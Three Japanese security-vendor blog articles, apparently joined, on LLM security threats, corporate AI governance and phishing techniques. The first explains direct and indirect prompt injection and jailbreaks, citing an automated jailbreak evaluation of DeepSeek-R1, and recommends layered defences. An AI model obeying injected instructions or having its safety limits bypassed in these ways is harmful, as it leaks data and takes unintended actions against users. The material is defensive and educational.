LLMセキュリティとは?プロンプトインジェクションなどの脅威と対策

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生成AIやLLM(大規模言語モデル)を活用したサービスやシステムが広がる一方、プロンプトインジェクションをはじめ、LLMを利用するアプリケーション特有のセキュリティリスクにも注意が必要です。本記事では、LLMセキュリティの基本から、OWASPが示す主なリスク、プロンプトインジェクションやジェイルブレイクなどの脅威、LLMを組み込んだシステムを安全に利用・運用するための対策について解説します。

LLMセキュリティとは

LLM(Large Language Model:大規模言語モデル)は、大量のデータを学習し、入力された指示(プロンプト)に応じて文章の生成や要約、質問への回答などを行うAIモデルです。生成AIサービスだけでなく、チャットボットや検索、業務システムなど、さまざまなサービスへの活用が進んでいます。こうしたLLMを利用したアプリケーションでは、従来のシステムと同様に不正アクセスや情報漏洩への対策が必要であることに加え、プロンプトインジェクションなど、LLMの特性を悪用した脅威についても考慮する必要があります。

LLMセキュリティでは、LLMそのものだけでなく、LLMに入力・参照させるデータや、連携する外部ツール・API、LLMが生成した出力の扱いなどを含め、システム全体のリスクを考えることが重要です。

AIセキュリティ全体のリスクや、企業に求められる対策については、「AIセキュリティとは?生成AI時代に企業が知っておくべきリスクと対策」で詳しく解説しています。

OWASPが示すLLMアプリケーションのセキュリティリスク

LLMを利用したアプリケーションの代表的なセキュリティリスクを整理したものとして、OWASP GenAI Security Projectが公開する「OWASP Top 10 for LLM Applications」があります。2025年版に続き、2026年8月には最新版となる「OWASP GenAI LLM Top 10 2026」が公開されました。2026年版では、リスクの順位や対象範囲が更新され、実際のAIセキュリティインシデントに関する調査結果なども反映されています。以下の10項目が挙げられています。

  • LLM01:2026 プロンプトインジェクション
    概要:悪意のある入力などによってLLMの指示や意図された動作が変更され、意図しない出力や処理につながるリスク。ユーザーが直接入力する場合だけでなく、LLMが参照する外部コンテンツなどを介して間接的に影響を受ける場合もある
  • LLM02:2026 センシティブ情報漏洩
    概要:LLMやLLMを利用したアプリケーションから、個人情報、認証情報、機密情報などのセンシティブな情報が意図せず開示されるリスク
  • LLM03:2026 過剰な代理権
    概要:LLMを利用したシステムに、必要以上の機能や権限、自律性が与えられることで、意図しない操作や有害な処理が実行されるリスク
  • LLM04:2026 サプライチェーン
    概要:モデル、データ、ライブラリ、外部サービスなど、LLMアプリケーションを構成するサプライチェーンの脆弱性や改竄によって、システムの安全性や信頼性が損なわれるリスク
  • LLM05:2026 データとモデルの汚染
    概要:学習データやファインチューニング用データ、モデルなどが意図的または不適切に操作されることで、モデルの動作や出力の完全性が損なわれるリスク
  • LLM06:2026 無制限の消費
    概要:LLMが利用する計算資源やAPIなどの消費を適切に制限できていないことで、サービス停止や過大なコストなどにつながるリスク
  • LLM07:2026 誤情報の生成
    概要:LLMが事実と異なる情報や不正確な情報を生成し、その出力が信頼されることで、誤った判断や処理につながるリスク
  • LLM08:2026 隠れたコンテキストの露出
    概要:システムプロンプトをはじめ、LLMアプリケーションの動作を支える非公開のコンテキストや内部情報が、意図せず露出するリスク
  • LLM09:2026 ベクトルと埋め込みの脆弱性
    概要:RAG(検索拡張生成)などで利用されるベクトルや埋め込み、検索処理の不備によって、情報漏洩や不適切な情報の取得、検索結果の操作などにつながるリスク
  • LLM10:2026 不適切な出力処理
    概要:LLMが生成した出力を十分に検証・無害化せず、他のシステムやコンポーネントへ渡すことで、不正な処理やシステムへの影響につながるリスク

このように、LLMアプリケーションのセキュリティでは、LLMへの入力だけでなく、参照するデータ、与える権限、外部システムとの連携、生成された出力の扱いなど、システム全体を考慮する必要があります。なかでも代表的な脅威の一つが、LLMへの入力や外部コンテンツを通じて意図しない動作を引き起こす「プロンプトインジェクション」です。次に、その仕組みと注意すべきポイントを詳しく見ていきます。

プロンプトインジェクションとは

プロンプトインジェクションとは、LLMに与えられる入力によって、開発者が意図していない動作や出力を引き起こす脆弱性です。LLMを利用したアプリケーションでは、ユーザーからの指示だけでなく、システムプロンプトや外部から取得した文書、Webページ、ツールの出力、会話履歴など、さまざまな情報が処理されます。こうした情報に悪意のある指示が含まれていると、本来の指示よりもその内容が優先され、機密情報の漏洩や意図しない処理につながる可能性があります。

プロンプトインジェクションは、大きく「直接プロンプトインジェクション」と「間接プロンプトインジェクション」に分けて考えることができます。

直接プロンプトインジェクション

直接プロンプトインジェクションは、ユーザーがLLMに入力する内容によって、本来想定されていない動作を引き起こすものです。例えば、業務上の質問に回答するよう設計されたAIチャットボットに対して、設定された指示を無視するよう求めたり、本来回答すべきではない情報を出力するよう誘導したりするケースが考えられます。直接プロンプトインジェクションには、LLMに設定された安全上の制約を回避させる「ジェイルブレイク」も含まれます。ジェイルブレイクについては、後ほど詳しく解説します。

間接プロンプトインジェクション

間接プロンプトインジェクションは、ユーザーが悪意のある指示を直接入力するのではなく、LLMが参照する外部の情報を介して、意図しない動作を引き起こすものです。

例えば、LLMがWebページや文書、メールなどを読み取って回答を生成するシステムで、それらのコンテンツにLLMへの指示が埋め込まれていた場合、LLMがその内容を処理し、意図しない出力や操作につながる可能性があります。

特に、社内文書などを検索して回答を生成するRAG(検索拡張生成)や、外部ツール・APIと連携して処理を実行するAIエージェントでは注意が必要です。LLMが参照する情報の範囲や実行できる操作が広がるほど、プロンプトインジェクションが成功した場合の影響も、回答内容の改変だけにとどまらない可能性があります。

そのため、プロンプトインジェクションへの対策では、入力内容を確認するだけでなく、LLMがアクセスできるデータや利用できる機能・権限、生成された出力の扱いまで含めて、システム全体で対策を考えることが重要です。

ジェイルブレイクとは

ジェイルブレイクとは、LLMに設定された安全上の制約を回避し、本来は生成が制限されている情報や回答を引き出そうとする手法です。攻撃者は入力する指示を工夫することで、モデルに設定された安全対策を回避し、開発者が意図していない応答を生成させようとします。

プロンプトインジェクションとの違い

プロンプトインジェクションとジェイルブレイクは関連する概念ですが、目的に違いがあります。プロンプトインジェクションは、LLMに与える入力を通じて、本来意図されていない動作や出力を引き起こすものです。一方、ジェイルブレイクはその中でも、モデルに設定された安全上の制約を回避することを目的とします。つまり、プロンプトインジェクションがLLMの動作を意図しない方向へ変化させる幅広い脅威を指すのに対し、ジェイルブレイクは、安全対策を回避して本来制限されている応答を引き出すことに焦点を当てた手法と整理できます。

ジェイルブレイクの事例

ジェイルブレイクに対する耐性は、LLMの安全性を考えるうえで重要な要素の一つです。

例えば2025年、Ciscoとペンシルベニア大学の研究チームは、DeepSeek-R1を対象に自動化されたジェイルブレイク手法を用いた安全性評価を実施しました。研究では、有害な要求を含むベンチマーク「HarmBench」から抽出した50件のプロンプトを使用し、モデルの安全対策を回避できるかを検証しています*1。

この事例が示すように、LLMに安全上の制約が設けられていても、それだけですべての不適切な出力を防げるとは限りません。また、LLMやその利用方法は継続的に変化するため、新たな攻撃手法を想定した評価や対策の見直しも必要になります。

さらに、企業がLLMサービスを利用する際には、モデルの安全性だけでなく、サービスそのもののセキュリティやデータの取扱いについても確認することが重要です。通信の安全性やデータの保存先・利用目的、入力した情報が学習に利用されるかなどを十分に確認しないまま利用すると、従業員が入力した個人情報や機密情報が意図せず外部に送信・保存され、情報漏洩や二次被害につながる可能性があります。

生成AIを業務で利用する際に注意したい情報漏洩や著作権、誤情報などのリスクについては、「生成AIのリスクとは?企業利用で注意すべき情報漏洩・著作権・誤情報と対策」で詳しく解説しています。

そのため、LLMを利用したシステムでは、モデル側の安全機能だけに依存するのではなく、利用するサービスの安全性を確認するとともに、入力や出力の検証、アクセス権限の制御、外部システムとの連携範囲の制限など、複数の対策を組み合わせることが重要です。

LLMを安全に利用するためのセキュリティ対策

LLMを利用したシステムのセキュリティ対策では、特定の機能や仕組みだけに頼るのではなく、入力するデータ、LLMに与える権限、生成された出力、外部システムとの連携などを含めて対策することが重要です。また、利用するLLMサービスの仕様やデータの取扱いを確認するとともに、システムの変更や新たな脅威に応じて、継続的に安全性を確認していく必要があります。

入力・参照データを適切に管理する

LLMに入力する情報や、RAGなどを通じて参照させるデータについて、利用目的に応じた管理が必要です。個人情報や機密情報などを扱う場合は、どの情報をLLMに渡す必要があるのかを整理し、不要な情報を入力・参照させないようにします。

また、外部から取得したWebページや文書などをLLMが参照する場合は、それらに悪意のある指示が含まれる可能性も考慮する必要があります。参照元を信頼できるものに限定するなど、LLMが処理するデータの範囲を適切に管理することが重要です。

LLMの出力を検証する

LLMが生成した内容を、そのまま安全なデータとして扱わないことも重要です。出力に誤った情報や不正なコード、想定していない指示などが含まれる可能性を考慮し、後続のシステムで利用する前に検証する仕組みを設けます。特に、LLMの出力をWebアプリケーションやデータベース、外部ツールなどへ渡す場合は、用途に応じた検証やサニタイズを行い、出力内容によって不正な処理が実行されないようにします。

アクセス権限を必要最小限にする

LLMやAIエージェントが利用できるデータや機能には、必要最小限の権限を設定します。例えば、情報を参照するだけでよい処理に更新・削除権限を与えない、特定の業務に必要なデータだけへアクセスできるようにするなど、LLMが侵害されたり意図しない動作をしたりした場合でも、影響範囲を限定できる設計が重要です。また、重要な操作についてはLLMだけで完結させず、人による確認や承認を組み込むことも検討します。

外部ツール・APIとの連携を制御する

LLMが外部ツールやAPIと連携すると、情報の検索や回答だけでなく、メールの送信、データの更新、システムの操作などを実行できる場合があります。こうした機能は利便性を高める一方、プロンプトインジェクションなどによって意図しない操作が実行された場合の影響も大きくなります。利用できるツールや操作を必要な範囲に限定し、重要な処理には承認を求めるなど、LLMが自律的に実行できる範囲を適切に制御することが重要です。

ログを取得し継続的に監視・評価する

LLMを利用したシステムでは、どのような入力が行われ、どのデータを参照し、どのような出力や外部操作が行われたのかを確認できるよう、必要なログを取得します。不審な入力や通常とは異なる操作を検知できる仕組みを整えるとともに、モデルやプロンプト、連携するツールなどを変更した際には、安全性への影響を改めて評価することが重要です。LLMを取り巻く技術や攻撃手法は変化しているため、一度の評価で終わらせず、システムの利用状況や変更に応じて継続的に見直していく必要があります。

ガードレール(緩和策)だけに依存しない

ガードレールとは、LLMが不適切な内容を生成したり、意図しない動作をしたりすることを抑えるために設ける安全上の仕組みです。入力や出力のフィルタリング、禁止する操作の設定など、さまざまな方法があります。ガードレールはLLMを安全に利用するための重要な対策の一つですが、プロンプトインジェクションやジェイルブレイクなど、制約を回避しようとする手法が存在することも考慮する必要があります。そのため、ガードレールだけでリスクを防ごうとするのではなく、入力・出力の検証、アクセス権限の制御、外部ツールとの連携制限、ログの監視などを組み合わせ、多層的に対策することが重要です。

技術的な対策に加えて、AIの利用ルールや管理体制を整備することも重要です。企業におけるAIガバナンスやAI利用ガイドラインの考え方については、「AIガバナンスとは?企業に必要な体制とAI利用ガイドラインの作り方」で詳しく解説しています。

まとめ

LLMを活用したサービスやシステムが広がる一方で、プロンプトインジェクションやジェイルブレイクなど、LLMの特性を悪用した脅威への対策も求められています。LLMセキュリティでは、モデルそのものの安全性だけでなく、入力・参照するデータ、生成された出力、アクセス権限、外部ツールとの連携など、システム全体を考慮することが重要です。また、利用するLLMサービスのデータの取扱いやセキュリティについても確認する必要があります。ガードレールなどの特定の対策だけに依存せず、権限管理や入出力の検証、監視などを組み合わせ、LLMやシステムの変更、新たな脅威に応じて継続的に安全性を見直していきましょう。

AIセキュリティについて詳しく知る

生成AI・LLMを安全に活用するためには、技術的な対策だけでなく、情報漏洩などの利用リスクや、組織としての管理体制も含めて考える必要があります。AIセキュリティの全体像と企業に求められる対策については、「AIセキュリティとは?生成AI時代に企業が知っておくべきリスクと対策」をご覧ください。

AIサービスの安全な活用に向けたセキュリティ対策を支援

BBSecでは、AIサービスを提供する企業・利用する企業に向けて、「AI事業者ガイドライン」に基づくサイバーセキュリティ対策支援サービスを提供しています。AIサービス提供者・利用者向けのセキュリティガイドライン整備支援や、AI利用に伴うセキュリティリスクを学ぶ情報セキュリティ教育など、お客様の立場や課題に応じた支援をご用意しています。

【参考情報】


公開日:2025年4月1日
更新日:2026年9月30日

編集責任:木下


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AIガバナンスとは?企業に必要な体制とAI利用ガイドラインの作り方

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生成AIの業務利用が広がるなか、企業にはAIを使うかどうかだけでなく、どのAIを、どの業務で、どのような条件で利用するかを組織として管理することが求められています。情報漏洩や誤情報、著作権などのリスクに加え、従業員が会社の承認を得ずにAIサービスを利用する「シャドーAI」への対応も必要です。本記事では、AIガバナンスとは何か、国内外のルールやガイドラインの動向を踏まえながら、企業に必要な体制やAI利用ガイドラインの作り方について紹介します。

AIを取り巻くリスクや、企業に求められるセキュリティ対策の全体像については、「AIセキュリティとは?生成AI時代に企業が知っておくべきリスクと対策」で詳しく紹介しています。

AIガバナンスとは

AIガバナンスとは、企業や組織がAIを適切に利用するために、方針や責任体制、ルールを定め、AIに伴うリスクを継続的に管理していく仕組みです。生成AIの利用では、入力した機密情報や個人情報の取り扱い、生成された情報の正確性、著作権・知的財産権、利用するAIサービスの安全性など、さまざまな点を考慮する必要があります。そのため、生成AIに個人情報を入力しない、といった利用上の注意事項を定めるだけでは十分とはいえません。

誰がAIの利用を管理するのか、どのようなAIサービスを利用できるのか、問題が発生した場合に誰へ報告するのか、利用するAIやリスクの変化に応じてルールをどのように見直すのか、といった運用まで含めて考える必要があります。AI利用ガイドラインは、こうしたAIガバナンスを実際の業務へ落とし込むための手段の一つといえます。

なぜ企業にAIガバナンスが必要なのか

生成AIは、文章作成や要約、翻訳、情報収集、プログラミング支援など、さまざまな業務で利用できるようになりました。一方、利用が容易であるからこそ、企業が把握しないまま従業員がAIサービスを業務に利用することも考えられます。例えば、従業員が個人で登録した生成AIサービスに顧客から届いたメールを入力して返信文を作成したり、社内資料やソースコードを入力して要約や分析を行ったりするケースです。企業が利用実態を把握できていなければ、どのサービスに、どのような情報が入力されているのかを管理できません。

国内でも、個人情報保護委員会やデジタル庁などが、生成AIの業務利用における個人情報や機密情報の取り扱いについて注意を促してきました。また、独立行政法人情報処理推進機構(IPA)が2026年7月に公開した「生成AIおよびAIエージェントを安全に活用するための手引書」では、全社AIガバナンスとして、AIガバナンス体制の整備、利活用ガイドラインの策定、シャドーAIへの対応方針などが整理されています。生成AIを一律に禁止するだけではなく、生成AIの利用実態を把握し、リスクに応じて適切に管理できる仕組みを整えることが重要です。

生成AIの情報漏洩や誤情報、著作権、サイバー攻撃への悪用などのリスクについては、「生成AIのリスクとは?企業が注意すべき情報漏洩・誤情報とサイバー攻撃への悪用」で詳しく紹介しています。

AIガバナンスを取り巻く国内外のルールとガイドライン

AIの急速な普及を受け、国内外ではAIを安全かつ適切に利用するためのルールやガイドラインの整備が進められています。日本では、経済産業省と総務省が2024年に「AI事業者ガイドライン」を策定しました。その後もAIを取り巻く環境の変化に応じて改定が続けられ、2026年3月には第1.2版が取りまとめられています。AI事業者ガイドラインでは、AIに関係する事業者をAI開発者、AI提供者、AI利用者に整理し、それぞれが取り組むべき事項などが示されています。

政府においてもAI利用のルール整備が進んでいます。デジタル庁は2026年6月、「行政の進化と革新のための生成AIの調達・利活用に係るガイドライン」を第2.0版へ改定しました。同ガイドラインでは、政府における生成AIのガバナンスや、各府省庁が生成AIを調達・利用する際のルールなどが示されています。

個人情報の取り扱いについても注意が必要です。個人情報保護委員会からは2023年6月に「生成AIサービスの利用に関する注意喚起等」で一部事業者に対する要配慮個人情報の取得及び利用目的の通知などについての注意喚起が行われています。全般の注意喚起では個人情報取扱事業者、行政機関、一般利用者それぞれに向けた注意点が記載されています。

生成AIサービスを利用する場合には、利用規約やプライバシーポリシーを確認し、入力する情報がどのように取り扱われるのかを把握したうえで利用を判断することが重要です。

AIサービスの契約条件も確認する

AIサービスを導入する際には、社内ルールだけでなく、利用するサービスの契約条件やセキュリティについて確認することも重要です。経済産業省が公開している「生成AIサービスの利用・開発に関する契約チェックリスト」では、AIサービスの利用や開発にあたり、インプット・アウトプットの取り扱いや権利関係、責任分担などを確認するための観点が整理されています。

生成AIサービスの利用・開発に関する契約チェックリスト(チェッリストの対象となる条項)
チェックリストの対象となる条項
出典:経済産業省「AIの利用・開発に関する契約チェックリスト」p.11より抜粋

セキュリティに関してはチェックリスト内に、以下の観点でのチェック項目が設けられています。

  • 対象システム(AIサービス)のセキュリティ水準
  • 監査条項等
  • ログの保存
  • 規約改定に関する留意点

AIサービスを選定する際には、機能や価格だけでなく、入力した情報がどのように扱われるのか、ログが保存されるのか、契約条件が変更された場合にどのような影響があるのか、といった点も確認する必要があります。

海外でもAIに関する制度整備が進む

海外でもAIの安全性や信頼性を確保するための制度整備が進められています。代表的なものが2024年に施行されたEUのAI全般をリスクベースで管理するためのAI法(『EU AI Act: first regulation on artificial intelligence』)です。AI法では、AIシステムをリスクに応じて分類し、許容できないリスクを持つAIを禁止するとともに、高リスクAIにはリスク管理や記録、人による監督などの要件を設けています。

また、汎用目的AI(General-purpose AI(GPAI))についても、そのリスクや役割に応じた義務が設けられています。

日本企業であっても、EU域内でAIシステムを提供したり利用したりする場合などには適用対象となる可能性があります。海外で事業を展開する企業では、自社のAI利用に関係する国や地域の制度についても確認する必要があります。

さらにEU以外でも、韓国をはじめ各国でAIの安全性や信頼性を確保するための制度・体制整備(韓国:AI基本法等)が進んでいます。

こうした動きを踏まえると、AIガバナンスは一度ルールを作れば完了するものではありません。AI技術やサービス、国内外のルールの変化に応じて、自社の管理体制も継続的に見直していく必要があります。

AIガバナンスで企業が整えるべき体制

AIガバナンスを実際に機能させるためには、AI利用に関する役割と責任を明確にする必要があります。例えば、経営層がAI活用に関する基本方針や許容するリスクを示し、情報システム・セキュリティ部門が利用するAIサービスの安全性や情報管理を確認します。法務・コンプライアンス部門は、個人情報や著作権、契約などの観点から利用条件を確認し、各事業部門は定められたルールに基づいてAIを利用します。

重要なのは、必ずしも「AIガバナンス委員会」のような新しい組織を設置することではありません。企業の規模やAIの利用状況によっては、既存の情報セキュリティ委員会やリスク管理、ITガバナンスなどの体制にAIの管理を組み込む方法も考えられます。一方で、AIに関する判断を情報システム部門だけに任せることも適切とは限りません。AIの利用にはセキュリティだけでなく、法務、知的財産、業務品質、倫理など複数の論点が関係するためです。「誰がAIを管理するのか」だけではなく、「どのような問題を、どの部門が判断するのか」まで整理しておくことが重要です。

AI利用ガイドラインには何を書くべきか

AIガバナンスの方針を従業員の具体的な行動へ落とし込むためには、AI利用ガイドラインを整備することが有効です。ガイドラインには、単に「機密情報を入力しない」と記載するだけではなく、実際の業務で従業員が判断できる内容を盛り込む必要があります。

項目定める内容の例
利用できるAI承認済みサービス、利用条件
利用目的認める業務・禁止する用途
入力情報個人情報、機密情報、顧客情報等の取り扱い
生成物ファクトチェック、著作権、外部公開時の確認
アカウント法人・個人アカウントの使い分け
外部サービスデータ保存、学習利用、ログ、契約条件
問題発生時報告先、対応フロー
見直し定期レビュー、サービス変更時の再評価

特に注意したいのが、利用禁止、とだけ定めて終わらせないことです。

例えば「機密情報を入力してはいけない」と規定していても、従業員が何を機密情報として扱うべきか判断できなければ、実際の業務では迷いが生じます。顧客から届いたメール、会議の議事録、契約書、ソースコード、未公開の製品情報など、具体的な利用場面を想定しながら、入力できる情報とできない情報を示すことが重要です。

また、生成物を業務で利用する際の確認方法も必要です。生成AIの出力には不正確な情報が含まれる可能性があるため、重要な判断や社外へ公開する情報については、人による確認や一次情報との照合を行うなどのルールを定めておくことが考えられます。

利用するAIサービス自体の確認も必要

AI利用ガイドラインを整備しても、利用するAIサービス自体の安全性やデータの取り扱いを確認していなければ、十分なリスク管理とはいえません。生成AIサービスによって、入力したデータの保存場所や保存期間、モデルの学習への利用、ログの管理、適用される法令などは異なります。そのため、AIサービスを導入する際には、少なくとも次のような点を確認することが重要です。

  • 入力したデータがどこに保存されるか
  • 入力データが学習やサービス改善に利用されるか
  • データやログの保存期間
  • 管理者が利用状況を確認できるか
  • セキュリティ対策や監査に関する条件
  • 利用規約やプライバシーポリシーの変更条件
  • どの国・地域の法令が適用されるか

AIサービスによってデータの保存場所や適用される法令などが異なるため、「有名なサービスだから」「便利だから」という理由だけで業務利用を判断するのではなく、企業としてサービスの特性を確認する必要があります。AIサービスの機能だけでなく、「企業の情報をどのように扱うサービスなのか」という観点から評価することが、AIガバナンスでは重要です。

AI利用ガイドラインを「作って終わり」にしないために

AI利用ガイドラインを策定しても、従業員に知られていなかったり、実際の業務とかけ離れたルールになっていたりすれば、十分に機能しません。会社がAI利用を全面的に禁止している一方で、現場では業務効率化のために個人アカウントの生成AIが利用されている、といった状況も考えられます。このようなシャドーAIが広がると、企業は誰がどのAIサービスを利用し、どのような情報を入力しているのか把握しにくくなります。そのため、ガイドラインの策定とあわせて、実際のAI利用状況を把握することが重要です。

また、会社が利用を認めるAIサービスを明確にし、従業員が安全に利用できる環境を提供することも有効です。ガイドライン策定後は、従業員への教育、利用状況の確認、例外的な利用が必要になった場合の申請方法、問題発生時の報告ルートなどを整備します。AIサービスは短期間で機能や利用条件が変化することがあります。また、AIエージェントのように、外部サービスやデータへアクセスし、一定の操作を実行できるAIの利用が広がれば、従来の生成AI利用とは異なるリスクも考慮する必要があります。AIガバナンスでは、ルールを作ること以上に、実際の利用状況を把握しながら継続的に見直すことが重要です。

AIやLLMを組み込んだシステムでは、プロンプトインジェクションをはじめ、生成AIの利用管理とは異なるセキュリティリスクにも注意が必要です。詳しくは、「LLMセキュリティとは?プロンプトインジェクションなどの脅威と対策」で紹介しています。

AIガバナンスはどこから始める?

AIガバナンスという言葉から、大規模な管理体制や複雑なルールを想像するかもしれません。しかし、最初からすべてを整備する必要はありません。まずは、自社でAIがどのように利用されているのかを把握することから始めます。

STEP1 自社のAI利用状況を把握する
どの部門が、どのAIサービスを、どのような業務に利用しているのか確認します。会社が正式に導入したAIだけでなく、従業員が個別に利用しているサービスについても把握することが重要です。

STEP2 利用するAIとリスクを整理する
入力する情報、生成物の用途、外部サービスへのデータ送信、AIに与える権限などを確認し、利用方法に応じたリスクを整理します。

STEP3 責任者・管理体制を決める
AI利用に関する方針を誰が決定し、セキュリティ、法務、業務上の問題をそれぞれ誰が判断するのかを明確にします。

STEP4 AI利用ガイドラインを策定する
利用できるAI、入力できる情報、生成物の確認方法、禁止する用途、問題発生時の報告方法などを具体化します。

STEP5 教育・確認・見直しを続ける
従業員へルールを周知するとともに、実際の利用状況を確認します。AIサービスや業務、脅威、法制度などの変化に応じてガイドラインを更新します。

AIガバナンスは完成させるものではなく、AIの利用とともに継続的に改善していく取り組みと考えることが重要です。

AIガバナンスに関するよくある質問

▼ AIガバナンスとAI利用ガイドラインの違いは?
▼ AI利用ガイドラインはどの部署が作るべきですか?
▼ 生成AIの利用を禁止すればAIガバナンスは不要ですか?

まとめ

生成AIをはじめとするAIの業務利用が広がるなか、企業にはAIを安全かつ適切に利用するためのガバナンスが求められています。AIガバナンスは、AI利用ガイドラインを作成することだけを意味するものではありません。AI利用に関する方針を定め、責任体制を明確にし、リスクを評価しながら、実際の利用状況に応じてルールや対策を継続的に見直していくことが重要です。

また、自社の利用ルールだけでなく、利用するAIサービスのデータの取り扱いや契約条件、セキュリティ、国内外の制度動向について確認することも必要です。まずは自社でどのようなAIが利用されているのかを把握し、利用目的や取り扱う情報、想定されるリスクを整理することが第一歩となります。そのうえで、自社の事業やAIの利用状況に合った体制とガイドラインを整備し、安全なAI活用につなげていくことが求められます。

【参考情報】

公開日:2025年4月9日
更新日:2026年9月16日

編集責任:木下


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ブロードバンドセキュリティ(BBSec)では、AIサービスを提供する企業・利用する企業に向けて、「AI事業者ガイドライン」に基づくサイバーセキュリティ対策支援サービスを提供しています。AIサービス提供者・利用者向けのセキュリティガイドライン整備支援や、AI利用に伴うセキュリティリスクを学ぶ情報セキュリティ教育など、お客様の立場や課題に応じた支援をご用意しています。


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ソーシャルエンジニアリング最前線
【第3回】フィッシングメールの最新トレンドとソーシャルエンジニアリング攻撃の手口

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【関連ウェビナー開催情報】
弊社では7月23日(水)14:00より、「急増するフィッシング攻撃の実態と対策〜企業を守る多層防御とは〜」と題したウェビナーを開催予定です。多要素認証や従業員教育、技術的防御など多層的なアプローチに加え、当社ソリューションによる効果的な防御手法もご紹介します。ご関心がおありでしたらぜひお申込みください。詳細はこちら。

本シリーズでは、「ソーシャルエンジニアリング最前線」として、2025年6月現在のフィッシングに代表されるソーシャルエンジニアリングに関する動向と企業・個人が取れる対策をまとめます。第3回はフィッシングを含めたソーシャルエンジニアリング攻撃の目的、最近話題の手口についてまとめます。

ソーシャルエンジニアリング攻撃の目的と心理的手口

ソーシャルエンジニアリング攻撃は攻撃者が被害者の心理や認知機能のバグを悪用したハッキング技法であることは第1回で紹介した通りです。ここではどんな手口でソーシャルエンジニアリング攻撃が仕掛けられるかを解説します。

最も多いソーシャルエンジニアリングの手口「フィッシング」

ソーシャルエンジニアリング攻撃で最も知られている手口はフィッシングでしょう。

フィッシングメールの種類

フィッシングといわれて最初に思い浮かべるフィッシングメールはフィッシングの一形態にあたります。フィッシングメールにもさまざまな種類があります。

  • フィッシングメールにマルウェアやマルウェアのダウンロードを行うアプリケーションを添付
    メールサービスやPCの機能などで検知しやすいことでも知られる
  • フィッシングメールにリンクを挿入し、リンク先から個人情報や認証情報を盗む、またはマルウェアのダウンロードを行う
    最近見られる手法にMicrosoft 365やGoogle Workspaceのログイン画面を精緻に再現した偽画面を使ったAiTMがある。日本国内で3月から5月にかけて問題となった証券口座への不正アクセス・不正取引事件も多くはこの手法を用いられたものと考えられる
  • 組織のコントロール外のサービスへ誘導し、マルウェアのダウンロードを行う
    会社のPCで求人サイトにアクセスし、会社で使用しているアカウントでGitHubにログインした状態で偽の採用担当者から指示された通り、コードを実行した結果暗号資産が盗難される事件などが発生している

さて、最近ではフィッシングもメールだけのものではなくなりました。

SMSを悪用した「Smishing(スミッシング)」

スミッシングはSMSで行われるフィッシングです。皆さまがよく知るものでは宅配事業者の不在配達通知のSMSによるスミッシングがこれに該当します。

QRコード型フィッシング「Quishing(クイッシング)」

街中でお店のメニューやお店のSNS、レンタルのためなどいろいろなところで見かけるQRコードですが、このQRコードが偽のログイン画面や偽の決済画面にリンクしているものをQuishing(クイッシング)といいます。イギリスの例では、駐車場の支払機にあるQRコードからアプリケーションのダウンロードを促されてアプリケーションをダウンロードした際、銀行口座の詳細確認のために90ペンス(約176円)の手数料に同意したところ、年間39ポンド(約7,600円)の払い戻し条件なしのサブスクリプションサービスを契約させられていたケース 注 1)もあります。

当初の被害が小さい(前述の例は90ペンス)ことなどから気付いても通報に至らないこと、決済情報や個人情報をQRコードでアクセスしたサイトで入力しているケースが多く、あとから詐欺に再度遭うこともあります。また、1人だけの被害であれば少額ですが、同じような被害者が数十人、数百人いるとさらに被害は拡大します。日本では現時点では一般的な手口ではありませんが、技術をさほど必要としない点を考慮すると同じ手口が流布する可能性が十分ある点に注意が必要でしょう。

フィッシング・スミッシング・クイッシングの共通対策とは?

フィッシング、スミッシング、クイッシングに共通する個人レベルの対策法は公式アプリ、公式サイト(ブックマーク)からのアクセスを心掛けることです。また、企業から貸与された端末経由でマルウェアのダウンロードをされるケースもあることから、企業から貸与された端末は目的外で使用しないことを徹底することも重要です。

音声通話を悪用する「Vishing(ビッシング)」

こちらは「声」によるフィッシング、Vishing(ビッシング)です。日本国内の被害事例としては2025年3月に山形鉄道が地元銀行を騙る自動音声の電話から誘導され、インターネットバンキングを経由し、およそ1億円の詐欺被害に遭った事例があります。

インターネットバンキングによる送金詐欺以外には自動音声との組み合わせによるテクニカルサポート詐欺などがあります。また、最近では警察を騙る自動音声通話なども報告されています 注 2)。基本的に自動音声でかかってくる電話はビッシングを疑ったほうがよいのが現状です。いったん電話を切ってから警察相談専用電話#9110や消費者ホットライン188に相談しましょう。

生成AIの進化で加速化するフィッシング手法

フィッシング全般に共通しますが、数年前であればフィッシングメールやSMSの文面の日本語がたどたどしかったり、日本語で使われない漢字が使用されたりといった違和感から怪しさに気付けたのですが、ここ1年ほどは生成AIの発展により、日本語のテキストからたどたどしさや違和感が急速に消えています。第2回で取り上げたフィッシングメールも文法や語彙としておかしな箇所は非常に少なく、注意力が低下しているときや慌てているときであれば気付かないかもしれないという危機感を抱くレベルです。最近ではアメリカFBIが政府高官のディープフェイクによる音声メッセージについて警告を発したり 注 3)、実際にアメリカ政府高官の顔写真などからAIが生成した音声を悪用したりする事例 注 4)が報告されています。文章によるフィッシングだけではなく、音声や画像、動画によるフィッシングについても、今後は警戒する必要があるでしょう。また、生成AIでWebページを生成するサービスも出現しています。一部のサービスには脆弱性があり、生成・公開されたページからユーザの情報やAIサービスのAPIキーなどの漏洩が可能という問題があります。

なお、このサービスでWebページを作るにはプロンプトを入力すればよいだけなので、ページによっては10~15分程度でフォームも含めて立ち上げることが可能です。また、サービスによってはAiTM用のなりすましページの作成などに制限もかからない可能性があり、生成AIによるソーシャルエンジニアリング攻撃への影響は多大なものがあります。

マルバタイジング(悪意ある広告)によるフィッシングの脅威

広告を介したソーシャルエンジニアリングをご存じでしょうか。一般的にはマルバタイジング(Malvertising)と呼ばれる手法で、広告から誘導する先が悪意のあるWebサイトである場合を指します。例えば以下のような事例があります。

  • 違法なストリーミングサイトに埋め込まれたマルバタイジングのリダイレクタからマルウェアが複数段に分けてダウンロードされ、認証情報が盗み取られた事例 注 5)
  • 正規のGoogle広告主の広告管理用サービスのアカウントを乗っ取り、マルバタイジングを行う事例 注 6)

フィッシングと偽CAPTCHA:ClickFixの新手口に注意

フィッシングやマルバタイジングなどの手法と併用されるものとして、ClickFixや偽CAPTCHA(Fake CAPTCHA)という手法があります。ClickFixはもともと、アプリケーションのダウンロードサイトなどを模した偽サイトでエラー画面に模した画面を表示し、被害者にコマンドをコピーアンドペーストさせてマルウェアをダウンロードさせる攻撃です。元は不具合を修正(Fix)するためにコマンドを実行させることからついた名前ですが、もちろん修正すべきものは何もなく、セキュリティ防御のためのシステム(EDRなど)の検知をかいくぐるためにユーザにコマンドを実行させる点に特徴があります。

